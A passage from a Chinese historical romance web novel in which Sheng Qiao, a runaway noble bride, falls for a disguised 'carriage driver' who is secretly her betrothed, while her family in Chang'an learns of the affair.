盛乔眼神飘忽,“没有啊,我只是在想,若我真的和表姐去赴宴,在座有那么多年轻郎君,我怎么判断我喜欢的是哪个呢?”
其实郑墨也没有经验,她思索片刻,干脆开始引经据典,说:“《礼记礼运》篇有云,饮食男女,人之大欲存焉。所以男女之情其实同吃饭喝水一样,都是最根本的欲望。这世间郎君再多,可如果你最想亲近谁,应当就是最喜欢谁的表现了吧。”
“最想亲近谁……”
盛乔听了这话,一下子陷入沉思。
那她对于徐少安,算是想要亲近么?
她下意识地摸了摸自己已经消肿的唇瓣。
就坐在她身边的郑墨原本视线就一直放在她的身上,此时见她动作,视线也跟着挪到了她的唇上,终于觉出了一些异样。
阿乔的嘴角怎么好像破了一块似的?
郑墨以为是自己太过敏感,看错了,可等用晚膳时碰到纪明实,她险些把碗筷都摔倒地上。
怕被人听见,郑墨刻意压低了声音,“你,你说什么?!明实,你是在同我开玩笑的罢。”
纪明实也看了看左右,叹道:“我何尝不希望是在开玩笑呢,今日我回去的时候,正看到阿乔红着眼眶从我院中走出去,当时她整个嘴角都是肿的。”
怎么会……
郑墨只觉五雷轰顶,整个人都被劈开了似的,完全不知道应该做何反应。
照纪明实所说,难不成徐少安那个混蛋真的轻薄了阿乔?
可看阿乔下午的状态,完全没有半分伤心萎靡的模样,反而有些春/情荡漾的雀跃。
阿乔虽然好说话,却不是任人欺负的性子,若她真的被人欺负了,一定会告诉自己的。
可她午后在她房间里待了那么久,却始终没有要和自己说的意思,甚至还旁敲侧击地问了那许多话。
这是不是说明,阿乔心里是接受的?
难道阿乔真的喜欢那个车夫?
郑墨脸色难看,却已经不是因为嫌弃那个车夫的身份,而是后悔自己没有早早和阿乔挑明此事,以至于任由两人发展到这个地步。
可谁又能想到,她一向乖巧听话的小表妹,竟然敢私下与郎君有肌肤之亲。
郑墨心中既懊悔,又有些愧疚,当时给姑父姑母写信时,她曾保证过一定好好照顾阿乔,可现在……
郑墨神情苦涩,匆匆与纪明实告辞之后,便立刻回到了自己的房间,第一时间给长安写信。
眼下这局面,她已经管不了了,还是要请姑父与姑母亲自定夺才是。
此事不容拖沓,郑墨写完就立刻封进了信封,亲自送到驿站,多加了十两银子,让人快马加鞭地送回长安。
幸而洛州离着长安本就不算太远,三天之后,盛怀义便收到了这封信。
原以为是阿乔写来的家书,盛怀义特意等了郑夫人回来之后,与她一起拆开。
但还没看到一半,夫妻二人就都觉出了不对劲,而等整封信看完,两人已是面色惨白,彼此对望一眼,皆从对方眼睛里看出了震惊。
“墨儿是在同我们说笑的吧。”郑夫人先开口,语气里满是不可置信。
盛怀义没吱声,只抬眼看了看她。
郑夫人也知自己是在自欺欺人,郑墨怎么会拿这种事凭空开玩笑。
可是她的宝贝女儿怎么会喜欢上一个车夫,还与他疑似有了肌肤之亲。
这信上写的女郎,当真是她的宝贝阿乔吗?
郑夫人仍旧不愿意相信。
“阿乔那么单纯,她什么都不懂,哪知道什么肌肤之亲。”郑夫人不住地念叨,“一定是那贼人对阿乔起了歹意,蛊惑她的。”
说着,像是为了寻求认同似的,郑夫人转头看向坐在一旁的盛国公,却见他正靠在椅背上闭目养神。
难道阿乔不是他的女儿,他怎么一点也不担心?
郑夫人隔着一张小桌,生气地推了推他,力道很是不小,“你宝贝女儿都要被拐跑了,你还在坐得住么?”
盛怀义睁开眼,既疲惫,又有些无奈,他揉了揉酸痛的太阳穴,说:“夫人,阿乔是我的掌上明珠,我自然也是震惊的,这不是正在琢磨对策么?”
郑夫人向来是个利落人,立刻道:“还琢磨什么?此时当务之急,就是该让那车夫离阿乔远点。还是你真舍得阿乔嫁给一个车夫?”
别说是燕国公府了,就算是寻常人家的父母,哪个不是希望自家女儿能过上好日子的,怎么舍得让她下嫁。
可话是这么说,盛怀义道:“如今阿乔不在我们身边,我只怕一味地使些强硬手段,反教阿乔和我们离心。”
“那怎么办?”
郑夫人说着说着就带上了哭腔,虽然已经知道阿乔的动向,也知道她身边有郑墨陪着,可自从女儿离家之后,郑夫人几乎没睡过一个好觉,担心她在洛州不适应,担心她不会照顾自己,担心她身在外乡会被人欺负。
在郑夫人心里,自家的宝贝就是配太子都绰绰有余,只有那郎君配不上她的份,没有阿乔不对的时候。如今听到她竟和一个出身卑贱的车夫关系亲密,心下如何不担心。
郑夫人抹了抹眼泪,“就算不嫁徐肃年了,咱们盛家的女儿也不至于沦落到这个地步吧。何况长公主那边还没松口呢,这婚到底还没退成呢。”
盛怀义又何尝不是在为此心焦。
郑夫人少时曾是丹宁长公主的伴读,两人向来关系不错,也因此当时急着给阿乔定亲时,第一个就挑中了长公主的儿子。
如今阿乔不愿,没办法要退亲,郑夫人心中也是对丹宁长公主有些愧疚的。可没想到长公主竟拖着这事始终不理,一副不想退婚的样子。
许定亲就许人退婚,这事虽是盛家理亏,可长公主府如此行径,也实在没有大家之风。最近郑夫人一直在为此事烦忧。
盛怀义也是摸不透长公主的心思,难道长公主当真就相中他家阿乔了?碍于对方身份,盛怀义也不愿将原本的一件喜事彻底闹僵。
本想徐徐图之,没想到郑墨在此时传了信来,阿乔那边又出状况了。
盛怀义看着一旁抹眼泪的郑夫人,心中微叹,他从怀里掏出一方帕子递过去,软言安慰道:“夫人别哭了,这事我定会解决的。”
郑夫人拿帕子拭去眼角的泪珠,怀疑地看着他,“你想怎么解决?”
“近来太子又惹了不少事端,朝中事早已乱成了一锅粥。惠国公府趁机又闹出了不少事,陛下忙于收拢权柄,定然无暇顾及其他。”
盛怀义缓缓说出了自己的计划,也是他早就有的打算。
“明日我就去找陛下告假,然后趁这个空当,带着三郎一并去趟洛州,不管墨儿说得那个车夫到底是个什么样的人,无论最后事情怎么解决,还是要先见一见阿乔再说。”
第26章 逃避你到底在躲什么?
郑墨给长安写信的事,并没有告诉盛乔,盛乔自然也就不会知道,她阿爹已经有亲自杀到洛州的打算。
纪明实帮她写好的字第二天就送了过来。不过他自己没有来,而是差身边的书童送来的。
当日的事
还历历在目,盛乔也不能确定纪明实到底听没听见他们在外面的动静,这会儿没见到纪明实本人,她心底微妙地松了口气。
除了不想见到纪明实,对于徐少安,盛乔这两天也是躲着走的。
虽然盛乔也不知道自己为什么要躲他。
只是有时迎面遇见,下意识就想要绕路走,偶尔目光交接,她也会不自在地偏过头去。
这样的状态盛乔很不喜欢,每每下定决心下次再也不躲了,可等真的遇到徐少安时,所有的决心又全都化作了泡影。
日子一天天过去,盛乔每天照常是上午要去水榭授课。
这日,她难得起了个大早,原想着要去求知斋用个早膳,谁知刚走到半路,就看到对面月门传来一阵熟悉的脚步声。
盛乔的动作几乎是瞬间就猜到了来人是谁,左右看了看,然后敏捷地躲到了一株桃花树后面。
那树不太粗,盛乔往侧面使劲躲了躲,才借着繁盛的枝叶藏住了身形。
幸而男人也根本没注意到这边的动静,匆匆走过,完全没有回头。
明明是她先躲着徐少安的,可不知为什么,看到男人渐行渐远的背影,她心里莫名不舒服了。
怎么变得这么矫情。
盛乔在心里小声骂自己,但也不舍得骂太多,很快又给自己找好了理由。
其实也不能怪她,当时明明是徐少安先做出那些过分的事,占尽了她的便宜。
且不说什么小意哄着,至少也该软声剖白一番,求得她的原谅。
可徐少安呢,过后不仅没见到他对自己变得更殷勤,甚至还不如从前,只撂下了两句话便不知所踪,之后再没有别的举动了。
任谁经此都是要生气的,她对徐少安已经足够大度了。
想着想着盛乔又生了一肚子气,连早膳都没胃口了,干脆直接去了水榭。
在济善堂读书的孩子都是经历过洪灾,年幼失怙,因此十分珍惜此时来之不易的读书机会,每日课前根本不必先生催促,便提早过来温习功课。
平时盛乔都是踩着点过来的,绝不迟到,但也从不会提前太久。
今日见她来的这么早,学生们都有些惊讶,几个性子开朗的甚至还主动问她,“先生,您今天怎么来这么早?”
这话问的,盛乔不禁有些脸红,轻咳了一声拿出先生威严,转移话题道:“昨日我交代下去的课业写完了了么,拿来给我瞧瞧。”
几个孩子立刻老实了,乖乖地回座位拿了课业呈上,盛乔也不再去想那些男女之事,专心致志地给学生讲评起课业来。
在洛州也待了一个多月了,盛乔这个书学先生也做了有小一个月,从一开始的只会写不会教,到现在已经能在讲评时侃侃而谈了。
“颜公笔风端庄雄厚,临摹时切忌拖沓无力,燕尾也不能拖得太长,会失了颜体的劲道……”
盛乔拿朱笔在学生交上来的练习上圈出了几个字,“你瞧这几个字,都是由两部分组成,你起笔利落,落笔却绵软,且两便结构重心不对,一下失了美感。”
说着,她自己拿笔一笔一划地示范起来。
她的楷书承自父亲,原本只是小时候父亲让她练来静心用的,盛乔那时嫌枯燥无趣,但这个日复一日的写下来,虽然仍觉得无趣,竟也慢慢习惯了。
她从来没想到,自己有一天能靠写字谋生。
这让她惊讶,也让她隐隐得意。
因此每次写字的时候,她都拿出十二分认真的态度,生怕被学生挑出半点不好,砸了自己的招牌。
幸而学生们都很崇拜她,围在她身边既钦佩又羡慕。
盛乔从前在家都是最小的那个,一直受兄姐们照顾,此时面对这些比她小了不少的孩子们,心里软得一塌糊涂。
晨起的朝阳逐渐升高,透过两侧的竹帘照进水榭,光影撒在盛乔身上,为她姣好的容貌镀上一层金边,远远看去,仿若神女下凡,矜贵又漂亮。
徐肃年在假山的凉亭上已经坐了很久,视线一动不动地钉在盛乔的身上,看她说话,看她笑,看她铺纸研墨,看她挽袖落笔,一举一动都透着自信和明媚。
直到下课的钟声响起,学生们纷纷起立与盛乔告别,徐肃年才终于回过神,起身往水榭的方向走去。
这院子原是孟家的一处别院,花园里的修筑的假山也都是为了给后宅的娘子们闲游观赏用的,因此假山虽然建得不高,台阶却是层层叠叠、弯弯绕绕。
徐肃年嫌一步步下台阶太麻烦,走了几步就直接撑着假山凸起的石头跳了下来,等他拐上长廊时,正看到盛乔袅袅婷婷的身影在往这边走。
学生们都在后面的水榭上课,长长的回廊只有他们两个人。
盛乔刚拐过来就看到了他,脚下顿了顿,然后当没看见似的继续往前走。
徐肃年离着老远就看到了她的表情变化,原本还带着笑,一见到他立刻变得面无表情了。
徐肃年忍俊不禁地勾了勾唇,在她走过来的时候抬臂拦住了她。
盛乔并不意外,没等他的手臂碰到自己,便很自觉地停住了脚步,却也没有开口的样子,只一脸冷淡地抬眼看他,一副“我看你还想说什么鬼话”的架势。
她红润的嘴唇抿的紧紧的,两颊也紧绷着,但因为带着一点软乎的肉感,绷得再紧也不显严肃,反而有一种强行挽尊的可爱。
徐肃年险些没忍住笑出声来,但也怕盛乔真的生气,在唇角勾起的下一刻就抬手掩住了唇,轻咳一声把笑意压了下去。
两人离得近,一点细微的表情变化就能察觉到,盛乔又如何看不出他是想笑,她心里更是不满,抬头冷冷地瞪着他。
无论他接下来要说什么,她都不要再理他了。
盛乔在心里打定主意,可等了半天也不见男人说什么,而是从宽大的袖间摸出一个鼓鼓囊囊的油纸包,递到了她的面前。
盛乔皱眉,不明白他这是什么意思。
徐肃年看出她的疑惑,笑了笑,解开了油纸包上的麻绳,将一层层包裹的油纸拆开,露出里面的庐山真面目——
居然是六个晶莹剔透的豆腐皮包子。
“你……”盛乔不知道说什么。
徐肃年说:“早上没吃饭,不饿吗?”
盛乔很惊讶,“你,你怎么知道?”
徐肃年没回答,只又把那一包豆腐包子往盛乔面前递了递,“尝尝吧,还热着。”
盛乔看了那热气腾腾的包子一眼,捏起一个尝了一口,别别扭扭地问:“你怎么知道我喜欢吃这个?”
“我们一起吃了那么多次饭,难道我连这个都记不得。”
徐肃年回答得很是理所当然。
盛乔闻言看了他一眼,没说什么,只是和他一起走到廊边坐下。
徐肃年从怀里掏出帕子,很是自然地伸手要给盛乔擦去唇边的残渣。
盛乔下意识往后躲了一下,徐肃年的手指不上不下地停在半空中,原本已经缓和的气氛也忽然僵住了似的,连风都停了。
盛乔不知为何觉出几分不自在,她轻咳一声,从男人手中揪出那块帕子,胡乱在嘴边擦了擦。
原本是很饿的,包子也很香,可现在只吃了一口就有些吃不下去了,盛乔看着油纸包里剩下的几个,有些可惜,但她更受不了此时忽然凝固的气氛,擦完嘴角就要起身离开。
这次徐肃年没再僵着没动,伸手抓住她的手腕,直接把她拉回了自己身边。
盛乔被迫坐回去,挣了挣手腕,却没挣动,皱眉看他,“你做什么?”
徐肃年问:“小娘子,打算一辈子不理我了吗?”
他的动作强势,没有半点要放手的意思,说话的却很是低三下四,听着莫名有些卑微。
盛乔的气势一下子软了下来,“你少装可怜……”
招数不在多,管用就行。徐肃年心知盛乔最吃这
一套,顺从地松开手,紧紧盯着盛乔的脸,一副执拗认真的样子,“小娘子怎么不回答我。”
盛乔被他看得心虚,躲闪地把脸偏开,“回答什么?”
“回答——”
徐肃年将方才的问题重复了一遍,“你是不是打算一辈子不理我了?”
这回,他语气里的控诉几乎要溢出天际,让盛乔再无法忽视。
“我什么时候不理你?如果我真的不理你的话,刚才根本不会停下的。”
盛乔理直气壮地瞪他。
偏偏这人身在福中不知福,语气怀疑地反问:“可我怎么觉得,小娘子这几日都在躲着我。”
这倒是真的……
但盛乔才不会承认,“是吗,我怎么没觉得,也许是我根本没看见你。”
徐肃年却将这几天的偶遇如数家珍,“前天我在校场骑马,小娘子在围栏外看了一刻钟,可当我走过去的时候,小娘子却又跑了。”
“那日我在笃行斋前头的小路上和几个学生说话,小娘子本要走过来的,看到我之后却又绕到另一侧去了,连学生都问我,我们两个是不是吵架了。”
“还有今天早晨,在去求知斋的路上,小娘子看到我转头就走了,连早膳都没用。”
他一桩桩一件件地历数完,这才问:“难道小娘子这还不是躲着我吗?”
不听他说,盛乔自己都没发觉自己躲他的举动那么明显。
她不知道如何解释,正巧远处钟声响起,一墙之隔的水榭传来学生们雀跃的脚步声。
上午的课全部结束了,已经是该去用午膳了的时辰了。
这处回廊是水榭去往求知斋的必经之地,很快学生们就会走过来,盛乔不想让他们看到自己和徐少安拉拉扯扯的样子,连忙抽回了被他握着的手腕,“我,我先走了。”
她下意识地以为男人不会放她走,所以用收回时,用的力气很大。
没想到男人根本没有用力的意思,反倒是她自己被这力道反噬,险些没有站稳。
徐肃年下意识地伸手去扶她,指尖将要碰到她时,又蜷缩着收回了手。
他似有些无奈,苦笑道:“小娘子放心,我向来有自知之明,既然今日已经知道了小娘子的答案,日后都不会再僭越了。”
说完,他竟朝盛乔拱手施了一礼,然后转身离开了。
直等他的背影消失在回廊拐角,盛乔才反应过来,茫然地眨了眨眼,不敢相信徐少安竟然真的就这么走了。
一定是又在故意装可怜,盛乔想。
可没想到的是,男人这次好像是认真的。
接下来的几天,盛乔很少再看到徐少安,就算有时在路上遇到,他也不会像以前一样,笑着与她说笑,反而恭谨疏离地对她行礼。
“小娘子先请。”
当男人再一次对她说出这句话时,盛乔终于再忍不下去了,想问他为何如此,但他根本没给她机会,躬身之后便匆匆离开。
不用盛乔再躲着他了,只要见到她,男人自动退避三舍。
这原是她自己想要的,可不知为何,等他真的这么做了,盛乔心里反而不舒服,连郑墨说要带她去看新得的一匹料子,她都心不在焉的。
郑墨起先还没发现,喋喋不休地同她讲了半晌,才发现她一直靠在桌角没说话。
郑墨皱起眉,“阿乔,你今天这是怎么了?怎么没精打采的。”
盛乔回过神,摇了摇头,然后问郑墨,“走神了而已,表姐刚才说到哪了?”
郑墨哪里会相信她的鬼话,看她的表情也知道应当是又和那个徐少安有关,她表情微妙,却也不欲干涉表妹的私事,撇了撇嘴,把话题重新挪回衣服上,“为着下个月的宴会,絮娘新送了我两匹月影纱,夏天裁衣裳最好,一匹湖绿,一匹银红,阿乔,你喜欢那一匹?”
说完,也不等盛乔回答,郑墨先拿眼神把盛乔从上到下打量了一遍,然后说:“湖绿吧,你年纪轻,性子又活泼,湖绿这样俏丽的颜色最是衬你。”
若是往常,盛乔定然会直接点头应下,不想此时却道:“银红吧,我喜欢。”
盛乔虽然衣裳多亮色,但更多的还是鲜嫩的黄、绿,更适合年轻的小女郎穿,没想到今日会看上这匹银红的料子。
郑墨虽有些诧异,却也没说什么,大方地把那匹料子让人收好。
没用琥珀帮忙,盛乔自己抱着那匹料子回了房间。
这匹银红的料子让她想到了徐少安。
当时给他买下那件衣裳的时候,的确是存了故意逗弄他的心思,她想知道像徐少安那样严肃的人,穿上这样艳丽的衣裳到底是什么样子。
虽然她知道他根本不会穿,可只看他当时吃瘪的表情,就已经值回银子了。
事实上,他也的确很排斥,但他还是穿了。
那日男人刻意穿着一身艳色的衣裳,来她院中讨要回礼的情景仿佛还近在眼前。
可她不仅没有给他回礼,还故意躲着他。
盛乔已经完全忘记了男人在院子里对她做了何等逾越的事,此时满心都在谴责自己——
她实在是太坏了。
其实何必躲着他呢,有什么话说清楚就是了。
盛乔叹口气,撑着脑袋往窗边的美人榻上躺,忽然脖颈处被什么东西硌了一下,她奇怪地把手伸到枕头下,摸出一本皱巴巴的书册来。
这什么东西?
盛乔翻到正面一看——《红妆劫:贵女与马夫》。
原来是这本话本啊。
她那日回房时,心里又慌又乱,不知道随手把她扔到哪去了。大约是琥珀给她收拾房间的时候捡到了,怕她中午在榻上午休的时候想看,所以又给她塞回了枕下。
那天还看得津津有味,此时隔了几天,她连先前的情节都要忘光了,本想直接扔回去,又不知是想到了什么,拍了拍被她蹂躏地皱巴巴的封面,重新翻开看了起来。
上次看到马夫和小姐的初遇,小姐对马夫一见钟情,却也知两人身份天差地别,从没想过要表现出来。
没多久,小姐去郊外的寺庙烧香,途中遇到大雨,惊了马,丫鬟和她们走散了,车轮又陷入了泥泞的小路,怎么也走不了了。
正好周围有个破庙,马夫和小姐进去躲雨,等府中来人接他们回去。
可不知为何,接他们的人一直没到,两人就在破庙从白天待到了晚上,虽然谁都没说什么,可他们之间的关系就是变得不一样了。
这段情节书里没有明写,只是匆匆几笔带过,盛乔一下子就想象到了那个场景——
阴雨连绵,街上空无一人,娇贵的小姐不知道何时扭了脚,怎么也走不了路了。
街上又因下雨而空无一人,总不能看着小姐就这么在雨里淋着,车夫无奈,俯身背起小姐,一步步地往破庙里走去。
虽然车夫身份低贱,人却温柔可靠。
和这样的男人相处,会心动吧。
盛乔不知不觉将自己代入到了小姐的角色,想象着自己在那场景之下,会是什么反应。
想着想着,她就想到了先前在洛水县时,她也是不小心扭了脚,徐少安背着她一步步走回客栈的场景。
脑海中虚无的场景一步步有了真实的模样,等盛乔反应过来的时候,车夫已被她自动想象成了徐肃年。
怎么又是想到他了!
盛乔在心里骂自己没出息,拿书盖着脸颊在榻上滚了一圈,然后才接着往下看。
破庙一夜相处之后,车夫和小姐关系突飞猛进,几次在府中相遇,也都带着点欲语还休的暧昧。
那小姐性格直爽,且分外大胆,她很快意识到了自己的心意,想与马夫说个明白,可每每才提起一个话头,那马夫就会假装有事,急促地将这话题打断。
直到有一天,小姐直接到马夫的房间里找他,直白地问:“你明明已经明白了自己的心,为何还要躲,你在怕什么?”
盛乔正预备要往下翻页的手瞬间顿住,她仿佛看
到了小姐隔着书页在问她——
盛乔,你到底在躲什么?
如同话本里的男主人公一样,徐少安虽然出身低微了些,但他已经活得很努力了。
不仅识文断字,更精于骑射,这怎么又不算文武双全呢。
最重要的是,他虽然性子说不上温柔,可是一直对她很好,细心又体贴。
唯一的缺点就是家世不好,有一点点穷。
可是没有关系,她有钱。
盛乔越想越觉得自己没必要再躲下去,她应该学习话本里的那个小姐,勇敢地直面自己的心意。
盛乔一直都是想做就做的利落性子,就像当时预备从家中逃婚时,她决定了之后,几乎没有犹豫,便很快从家里跑了出来。
如今也是一样,她决定之后,第二天从水榭下了课,去立刻找徐少安了。
彼时徐肃年正在院子里看书,见到盛乔急吼吼地闯进院子,他微不可察地挑了下眉,然后把书放下,走过去就要给她行礼。
“见过小娘子……”
纪明实也在院中,听到声音脚步声就知道是盛乔。这几天盛乔和徐少安之间别扭的关系他自然是看在眼里,本以为两个人要一直这么别扭下去,可没想到盛乔竟会在这时主动找来了。
明知道不是来找他的,他却没忍住走了出来,“阿乔,你……”
但这回盛乔就像没看见他似的,还不等他把话说完,盛乔就直接拉着徐肃年进了他的屋子。
徐肃年回头看了纪明实一眼,而后很是顺从地被盛乔拉走了。
进去之后,他便立刻敛起眉间的的笑意,一副不解的模样,“小娘子这是何意?难道今日不怕被人看到了?”
盛乔没说话,定定地看着他,只是胸前一起一伏地十分明显,仿佛是在做什么艰难的决定。
徐肃年很清楚她今日为何而来,当下也不催促,就那么静静地看着她,等着她开口。
不知过了多久,盛乔问:“徐少安,你那天为何要亲我?”
和当时的回答一样,徐肃年说:“那是我给小娘子的答案。”
“你喜欢我。”盛乔直白的将这话说出来,语气万分笃定。
徐肃年也没再拐弯抹角,点头道:“自然。”
他的回答让盛乔很是满意,她弯起眼睛笑了一下。
徐肃年以为她要说什么,没想到她忽然左右看了看,然后走到了桌边。
“你过来!”盛乔难得用这样命令的语气和他说话。
这是要做什么?
徐肃年看着她的动作,也有些丈二和尚摸不着头脑,却还是很听话地走了过去。
长长的八仙桌旁摆着两个椅子,徐肃年走到离着盛乔最近的那一个跟前,面对着盛乔站好。
他以为盛乔是有话想对他说,不料盛乔却把他推开了些,让他面对着椅子。然后一手扶住他的肩膀,直接踩到了那架黄花梨太师椅上。
在女郎中,盛乔的个子不算矮,可是在徐少安面前,她就有些不够看了。
平时徐少安和她说话时都是低着头,这回盛乔站到了椅子上,反而比他还高出不少,徐少安再看她,需要仰起头。
“小娘子,你这是……”
徐肃年怎么也没想到她会做出这个举动,震惊地看着她。
但这次没等他把话问完,盛乔就给了他回答。
盛乔站在椅子上,一手扶着徐肃年的肩膀,一手勾住他的领口,把男人拉得离自己更近了些。
再之后,她毫不犹豫地俯身亲了上去。
——就像那日徐少安亲她一样。
第27章 回礼要不要现在坦白身份?
徐肃年少年时,曾跟随一个老将军上过战场,他那时候年纪小,并不能帮上什么忙,不过是去战场历练心性,只记得老将军对他说,无论遇到什么事,为将者最重要的是喜怒不形于色。
徐肃年一直将这话谨记在心,面对皇帝和长公主时,也很少有过表情波动,他一向很会控制自己的情绪。
可在盛乔面前,他一向引以为傲的自制力彻底成了泡影。
盛乔亲过之后便欲抽身,徐肃年明知不该在此刻穷追不舍,却克制不住地一把攥住了她的手,将她重新拉入怀中。
主动权被他攥回掌中,徐肃年单手勾住盛乔的细腰。
原本只是想把她搂得更近一些,最后干脆直接把她从椅子上抱了下来,另一只手顺着她的后脑勺一直抚到了背心,温柔的力度让人无法抗拒。
盛乔起先不过是想亲他一下,给他一个回答,亲完就想走,却被他勾着腰不放。
盛乔含糊地支吾一声,想说什么,可还没来得及开口,唇舌就被男人含住,顿时半个字都说不出来了。
两人越贴越近,盛乔被他抱下八仙桌,她还因为身后没有倚靠而心突了一下,下一刻男人的手臂就拦在了她的腰后,示意她坐到自己手臂上。
这如何能坐。
盛乔不敢坐,徐肃年干脆抱着她强行转了个方向,盛乔身后连个靠着的桌子都没有了,下意识就往前靠,两只胳膊搂住男人的肩膀,腰臀处也就顺势坐在了徐肃年坚实的手臂上。
她像一株藤蔓,缠靠在高大强壮的男人身上。
盛乔搂着男人的肩膀,原本的担心全都不见了,因为她发现这男人比她想象得还要强壮。
即便藤蔓长得再茂盛,他也能将她稳稳托住。
腰间被搂得严丝合缝,盛乔不再想别的,所有心思都放到了眼前的男人身上。
这不是她第一次与男人亲密接触,但先前的每一次,她都免不了带着一点心虚不安。
现下大约是内心已经做好了决定,所以再与他亲近时,她想得不再是什么会不会被别人发现,而是也学着男人的样子,也认真品尝了起来。
和他硬邦邦的胸口不一样,徐少安的嘴唇很软,盛乔贴近时,能清晰地嗅到他颈间清甜的味道,她不知道那是什么味,好奇般地往前拱了拱。
毛茸茸的发丝抵在徐肃年的脖颈,又酥又痒,徐肃年不自觉地滚了下喉结,捧着她的下巴,想要更深入。
尖厉的犬齿含住少女的唇,试图启开她的牙关。
盛乔却一下子回过神,推着他的肩膀摇了摇头。
徐肃年很不情愿地止住动作,将她稍稍松开了些,问:“怎么了?”
方才两人亲得太久,盛乔的脸上还泛着酡红,她捂着脸颊瞪他,“不许了!”
徐肃年假装没听懂,盯着她的嘴唇不说话。
盛乔感觉到他暗示满满的眼神,捂着双颊的手指又改去捂嘴巴,“你在看什么?”
她嗔怒地瞪他,“都说了不许了!”
徐肃年还有些微喘,眼神里写满了不甘心,但见盛乔神色坚决,到底没再强迫她。
“好,答应你。”
他抱着小娘子到一旁的软榻上坐下,他长臂一揽,将小娘子完全罩进怀里,然后说:“抱一会儿,总可以了吧。”
男人身高体壮,一只胳膊就能把她抬起来,力气那么大。
盛乔原本还有些担心来着,此时见他当真听自己地克制住了更深入的动作,圆圆的眼睛立刻弯了一下。
她点了点头,然后枕到男人的肩膀上,说:“只可以抱一会儿哦。”
对于盛乔来说,今天和徐少安所做的一切都有些太超过了,说到底她还是一个闺阁少女,于是说道:“无论如何,还是要遵循规矩礼数。”
徐肃年不在意地问:“什么礼数?”
盛乔无法理解地看着他,生气地锤了一下他的肩膀,说:“当时是男女之间的礼数!有些事,成亲以后才能做!”
成亲?
听到这两个字,徐肃年眉心一动,看向盛乔,“小娘子愿意和我成亲吗 ?”
这问得是什么话!
盛乔觉得自己要被他气死了,他们两个方才又亲又抱了半天,早已逾越了男女间的礼教规则,难道在他眼中,自己就是这么没担当的人么?
盛乔哼一声,说:“我一向敢作敢当,我们的是,我自会写信告诉我阿爹阿娘的。”
说着,她见徐肃的神情似乎有些沉重,以为他也是担心两人的身份,于是温声宽慰道:“别担心,我阿爹阿娘一向是最宠我的,只要我心里愿意,他们是不会为难你的。”
她说的这些徐肃年自然是不担心的,他只是觉得盛小娘子好像忘记了一件事,犹豫了一下,还是没忍住提醒道:“小娘子,我记得你此行离京,不是为了逃婚么,现在……”
原来是在担心这个啊。
盛乔看他一眼,同时眼里也不自觉地爬上了几缕忧愁,可她的语气异常坚定,“我会退婚的。”
小娘子全心依赖地倚靠在他的怀中,徐肃年搂在她肩膀上的手臂不自觉地收紧,心下飞快地思考起来,要不趁着此时气氛正好,与她坦白了身份,否则越拖越久,只怕最终会走到无法挽回的地步。
他在心里悄悄地打腹稿,但还没等他组织好语言,就听盛乔说:“这件事我一定会妥善解决的,我不想再提起他。”
“其实……”徐肃年试图开口。
但盛乔已经从他怀里坐起来了,她整理了一下刚刚因为拥抱而褶皱的衣裳,说:“我忽然想起还有件事没做,我要先回去了。”
这时候能有什么事?
徐肃年怀疑地看了盛乔一眼,盛乔有些心虚地避开。
她最近过得太逍遥,险些都要忘了,其实她和徐肃年还没有退婚。可是如今她已经有了新欢,这婚事还是给快些推掉才是,盛乔想回去给阿爹写信问一问徐家的态度。
不过这话自然是不好对徐少安说的。
他虽然身份低,但想必自尊心也是很强的,若是他知道自己心上人的婚事还不知道什么时候能退掉,只怕会伤心的。
于是盛乔含含糊糊地敷衍了两句,便要往外走。
徐肃年看着她离开的背影,无声地叹了口气。
看着盛乔那般诚挚的表情,真实的身份他竟有些说不出口。
还是再等一等吧。
这真相对她来说只怕太不好接受,他不能一下子就告诉她,还是得慢慢地铺垫着坦白。
盛乔并不知方才男人心底的情绪已经一落千丈,因为她心里其实是很开心的。
怎么会不开心呢?
喜欢一个人就是开心的事。
盛乔下台阶的时候都比往常雀跃了几分,鬓边插着的珍珠步摇撞出清脆的声响。
纪明实房间的门虽然紧闭着,但他一直站在门边,此时看见盛乔走出来,终于还是没忍住,直接冲到了她的面前。
盛乔根本没注意到旁边的动静,被他此时的动作吓了一跳,“明实哥哥,你……”
纪明实看着她明显红肿的嘴角,胸口的起伏异常明显,他沉沉地往徐少安房间看了眼,然后拉着盛乔的胳膊往外走去。
在盛乔心中,纪明实一直都是温文尔雅的君子,这番动作实在让人意料不到,她皱眉看着纪明实握着自己胳膊的手,下意识就要挣脱,“明实哥哥,你这是怎么了,你先放开我啊。”
纪明实却如没察觉一般,等把他拉到了院子外面的一处僻静角落,才总算把她松开了些。
盛乔第一时间抽回自己的手臂。
纪明实看着她毫不犹豫的动作,像是被刺激到了似的,“阿乔,你就这么接受不了我吗?”
盛乔像是看疯子一样看着他,根本不明白他在说什么,“明实哥哥,你今天到底怎么了?”
纪明实是个读书人,学得是非礼勿视,非礼勿听,所以上一次他并未与盛乔提起此事,是怕她羞怯不好意思,但是现在,他实在忍不住了,指着盛乔明显红肿的嘴唇,说:“应该我问你吧,阿乔。”
盛乔先是一愣,而后下意识地就要去遮,可手背还没碰到嘴角,又不知想到了什么,她竟缓缓放下了手,“既然明实哥哥都看到了,我也没有什么好隐瞒的。”
纪明实简直不敢相信自己听到的话,胸口一阵发闷,“阿乔,你知道自己在说什么吗?”
盛乔也无法理解地看着他,皱眉道:“我当然知道。”
可纪明实觉得她实在是太傻了太傻了,小时候一起上学的时候就那么天真,现在也是如此。
“阿乔,你可是燕国公府的女郎,如此高贵的身份,怎可配一个低贱的车夫……”
不等他说完,就被盛乔急切地打断,“徐少安虽然是车夫,可他并不低贱。”
纪明实话头被噎住,又道:“好,就算他不低贱,可你们二人的身份差距就摆在这了,那徐少安这般靠近你,难道会无所图谋?”
图谋什么?
盛乔觉得纪明实这话简直说得可笑,徐少安根本不知道她的真实身份,又能图谋什么。
甚至,他连她的名字都还不知道。
想到这,盛乔脑中忽然说过一个念头,当下也懒得再与纪明实多说了,只有些不耐烦地问:“这都是我的私事,明实哥哥找我还有别的事吗?”
纪明实见她如此,有些无力地摇了摇头,“阿乔,你总有一日会知道,我是对的。”
盛乔根本没把这话放在心上,绕开他跑回了房间-
盛乔离开后,徐肃年换了一身低调的衣裳,去宅子里见卢烨。
这段时间,他在男女之事上花费的时间虽多,却也没忘了此行的正事。
徐肃年虽然执掌刑狱多年,始终和贪官污吏打交道,但他毕竟是在长安,对于洛阳的这些官员并不算了解,因此若真想着手处理洛州水患一事,最重要的就是摸清洛州这下官员的底细。
碍于身份原因,徐肃年自然是不好出面的,因此他安排卢烨先一步抵达洛州,并整日和洛州府的官员待在一起,为的就是先了解他们的性情。
卢烨本不擅此道,但与那些人相处得久了,渐渐也看出了些端倪。
